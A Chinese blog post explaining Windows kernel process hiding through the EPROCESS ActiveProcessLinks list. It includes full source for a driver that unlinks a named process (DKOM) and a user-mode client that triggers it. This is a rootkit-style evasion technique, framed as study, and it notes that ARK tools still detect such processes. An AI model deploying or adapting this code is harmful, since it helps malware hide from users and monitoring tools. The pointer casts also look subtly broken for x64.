说说windows内核中为什么要隐藏进程?

好久没有写博客了,最近抽时间把这些杂碎零散的知识梳理下来,分享给更多朋友去找乐子,在草稿箱里面仍了好几天忘发了 。
接下来谈谈本篇主题,隐藏两字 。
一、隐藏意味着什么?
不想被人发现呗,人性如此,亦是如此 。
二、为什么要隐藏?
其实个人觉着这是根本,好好写个程序你为什么要隐藏自己的进程、线程?为啥?无非你不想让别人知道 , 或者不该让别人知道 。下有很多未公开的东西,这是隐藏 。面对对象程序设计封装性,这也是隐藏 。有些病毒 , 其实叫恶意代码更为亲切一些,更喜欢隐藏或者依附正常的进程来达到欺骗电脑,欺骗杀毒软件 , 这都是隐藏 。对有些不可告人的秘密 。
三、对于进程隐藏能欺骗杀毒软件?或者系统监控工具?
至少目前我没有见过靠隐藏进程就可以瞒天过海,不代表没有,格局有限.....,隐藏进程后,系统自带的任务管理器已经看不到进程的身影,但是随便找一个ARK就可以看到隐藏的进程,还可以使用或者火绒剑等工具去查看,为什么隐藏了进程这些工具仍然可以找到?
四、浅谈隐藏进程
因为用户层,就是任务管理器是依赖于链表结构()遍历操作系统下有哪些进程,其实早些时候不懂下链表重要性(当时自己学数据结构都说下双向链表、树很重要),后来才知道 , 嗯其实不依赖来做自己想做的事情,真的很重要 。双向链表请看以前的博客双向链表:

说说windows内核中为什么要隐藏进程?

文章插图
创建进程的时候会填充结构体(看雪论坛搜索一下有详细的创建过程),这样我们里面就有数据与内容了,关于这个结构体不同操作系统数据有可能会不一样 , 里面输入: dt即可查看结构体内容与偏移 。
内核分为、执行体、微内核、HAL(最底层),是属于执行体层,包含进程创建信息、I/O、安全、句柄表、虚拟内存等等,有意思的是里面内嵌了一个(偏移0),他属于微内核层,用来线程配额、调用还有优先级等信息 。
我们重点来说一下中的,光看名字就知道活动进程链,如下图所示 。
说说windows内核中为什么要隐藏进程?

文章插图
这个就是隐藏进程的关键 , 他是一个双向循环链表,我们可以通过链表去遍历整个系统进程,对就是呢么简单,如下图所示:
说说windows内核中为什么要隐藏进程?

文章插图
更多结构体信息请看(我非常喜欢的一位笔者,他翻译国外一些文章很严谨且详细) , 贴下地址: 里面有对等常用的结构体详细介绍,强烈推荐,也许你有些疑惑 , 如果你认真看完上面链接知识,你的疑惑将在他的文章里找到答案 。
五、实现?为什么要实现?
其实我以前也这思考、这些东西你为什么要去学?为什么要去做?我无从答案 。好奇心?专研?热爱?但是不可否认当你认真的做了这些事情之后 , 你有所收获,有所进步 。也许当你再一次看到或者火绒剑可以把那些隐藏的进程遍历出来的时候,你心里知道可以暴力枚举或者检测恢复断链自己也可以实现,原来这些都是可能的 , 这样做都是可以的 。
说说windows内核中为什么要隐藏进程?

文章插图
如果你会双向链表,删除一个节点对你来说不值一提,如果不会我希望你们去好好学习一下 , 学而用,这才是知识 。如果你想恢复隐藏的进程(原来的节点位置),记得保存“邻居的指针地址” 。
最后2019年,祝大家新的一年新生活,19年愿世人都能喝上一碗热粥 。
源代码展示如下:
用户层与驱动层头文件都需要包含:
#define CTL_PROCESS_HIDE \CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS)#define CTL_PROCESS_REST \CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
以上是定义的控制码,用于3环到零环内核编程功能控制
驱动层:
#include "HideHeader.h"VOID UnLoadDriver(PDRIVER_OBJECT pDriverObj);/*----------------声明---------------------*/NTSTATUS DefualtFunCtion(DEVICE_OBJECT* pDeviceObj, IRP* irp);NTSTATUS ControlCode(DEVICE_OBJECT* pDeviceObj, IRP *irp);NTSTATUS HideProcess(char* HideName);NTSTATUS RestoreProcess(char* RestorName);/*---------------入口点---------------------*/NTSTATUS DriverEntry(DRIVER_OBJECT* pDriverObj, UNICODE_STRING* RegistryPath){UNREFERENCED_PARAMETER(RegistryPath);// DbgBreakPoint();// 初始化设备对象与符号对象(暴露给3环使用)UNICODE_STRING DeviceName;UNICODE_STRING SymbolicLinkName;DEVICE_OBJECT* pDeviceObj = NULL;NTSTATUS nStatus = STATUS_SUCCESS;RtlInitUnicodeString(&DeviceName, L"\\Device\\HideProcess");RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\SymbolicLinkName");// 创建设备对象nStatus = IoCreateDevice(pDriverObj, 0, &DeviceName, FILE_DEVICE_UNKNOWN, 0, 0, &pDeviceObj);if (FALSE == NT_SUCCESS(nStatus)){KdPrint(("IoCreateDevice Failuer!"));return nStatus;}// 设置通讯方式(0~3环),这里使用直接IOpDriverObj->Flags = DO_DIRECT_IO;// 创建符号对象nStatus = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);if (FALSE == NT_SUCCESS(nStatus)){KdPrint(("IoCreateSymboLicLink failuer!"));return nStatus;}// 初始化派遣函数for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; ++i){pDriverObj->MajorFunction[i] = DefualtFunCtion;}// 处理派遣函数及卸载pDriverObj->MajorFunction[IRP_MJ_DEVICE_CONTROL] = ControlCode;pDriverObj->DriverUnload = UnLoadDriver;return STATUS_SUCCESS;}/*----------------实现---------------------*/NTSTATUS ControlCode(DEVICE_OBJECT* pDeviceObj, IRP *irp){ DbgBreakPoint();UNREFERENCED_PARAMETER(pDeviceObj);NTSTATUS nStatus = STATUS_SUCCESS;// 获取irp栈信息PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(irp);DbgBreakPoint();// 获取控制码ULONG uControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;// 获取Out缓冲区// pOutBuffer = MmGetSystemAddressForMdlSafe(irp->MdlAddress, NormalPagePriority);switch (uControlCode){case CTL_PROCESS_HIDE:{/*兼容性有欠缺 , 因为没有检测当前运行环境,PEPROCESS结构体偏移可能不准确*/HideProcess("notepad.exe");}break;case CTL_PROCESS_REST:{RestoreProcess("notepad.exe");}break;default:break;}irp->IoStatus.Information = 0;irp->IoStatus.Status = STATUS_SUCCESS;IoCompleteRequest(irp, IO_NO_INCREMENT);return nStatus;}NTSTATUS DefualtFunCtion(DEVICE_OBJECT* pDeviceObj, IRP* irp){UNREFERENCED_PARAMETER(pDeviceObj);// 完成状态irp->IoStatus.Status = STATUS_SUCCESS;// 完成字节irp->IoStatus.Information = 0;// 处理irpIoCompleteRequest(irp, IO_NO_INCREMENT);return STATUS_SUCCESS;}VOID UnLoadDriver(PDRIVER_OBJECT pDriverObj){// 写成PDRIVER_OBJECT 强转的时候方便UNICODE_STRING DeleteSymName;PDEVICE_OBJECT NextDriverObj = NULL;PDEVICE_OBJECT CurrDriverObj = NULL;// 先删除符号对象删除设备对象RtlInitUnicodeString(&DeleteSymName, L"\\DosDevices\\SymbolicLinkName");// 删除符号对象IoDeleteSymbolicLink(&DeleteSymName);CurrDriverObj = pDriverObj->DeviceObject;// 可能有多个设备对象while (CurrDriverObj != NULL) {NextDriverObj = CurrDriverObj->NextDevice;IoDeleteDevice(CurrDriverObj);CurrDriverObj = NULL;CurrDriverObj = NextDriverObj;}return;}// 隐藏进程NTSTATUS HideProcess(char* HideName){// 用到的变量LIST_ENTRY* ListCurrProc = NULL;LIST_ENTRY* LinkListTemp = NULL;PEPROCESS pEprocess = NULL;// 获取到EPROCESS结构体中ActiveProcessLink 本机环境win7 x64 偏移为0xb8// 其实调用的IoGetCurrentProcesspEprocess = PsGetCurrentProcess();// 获取ActiveProcessLinksListCurrProc = (LIST_ENTRY *)((ULONG)pEprocess + 0xb8);// 下一个指针赋值LinkListTemp = ListCurrProc;// ULONG Te = 0;测试使用临时变量// 循环找到隐藏进程while (ListCurrProc != LinkListTemp->Flink){// 调试信息输出// Te = ((ULONG)LinkListTemp - 0xb8 + 0x16c);// KdPrint(("%s\n\n\n", Te));// 本该是0x16c是ImageFileName 但是用的链表位置 所以是 0x16c - 0xb8if (0 == strcmp((char *)((ULONG)LinkListTemp - 0xb8 + 0x16c), HideName)){// DbgBreakPoint();// 双向链表应该很熟悉了Previous<-->Curr<--> Next变成 Previous <--> Next(LinkListTemp->Blink)->Flink = ListCurrProc->Flink;(LinkListTemp->Flink)->Blink = ListCurrProc->Blink;LinkListTemp->Blink = NULL;LinkListTemp->Flink = NULL;KdPrint(("Sucess Hide Process!"));break;}LinkListTemp = LinkListTemp->Flink;}return STATUS_SUCCESS;}// 恢复进程(没有去实现)NTSTATUS RestoreProcess(char* RestorName){UNREFERENCED_PARAMETER(RestorName);// 枚举当前进程名称,获取到进程,判断链表中是否存在(循环),否则插入链表之中return STATUS_SUCCESS;}
用户层:
【说说windows内核中为什么要隐藏进程?】int main(){HANDLE hDriver = INVALID_HANDLE_VALUE;hDriver = CreateFile(L"\\??\\SymbolicLinkName",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);if (hDriver == INVALID_HANDLE_VALUE){if (GetLastError() == 2)printf("错误码(2):系统找不到指定的文件\n");}elseprintf("驱动成功加载\n");DWORD dSize = 0;// 发送隐藏进程信息到零环 这里可以三环控制因为测试方便就不进行测试,所以参数为NULL// 如果使用控制码 第三个参数传入驱动层的缓冲区指针(需要传入什么) , 第四个参数是传入大小// 第5个参数是接收(0环发来的信息),大小,dSize是0环返回的大小DeviceIoControl(hDriver, CTL_PROCESS_HIDE, NULL, 0, NULL, 0, &dSize, NULL);system("pause");CloseHandle(hDriver);return 0;}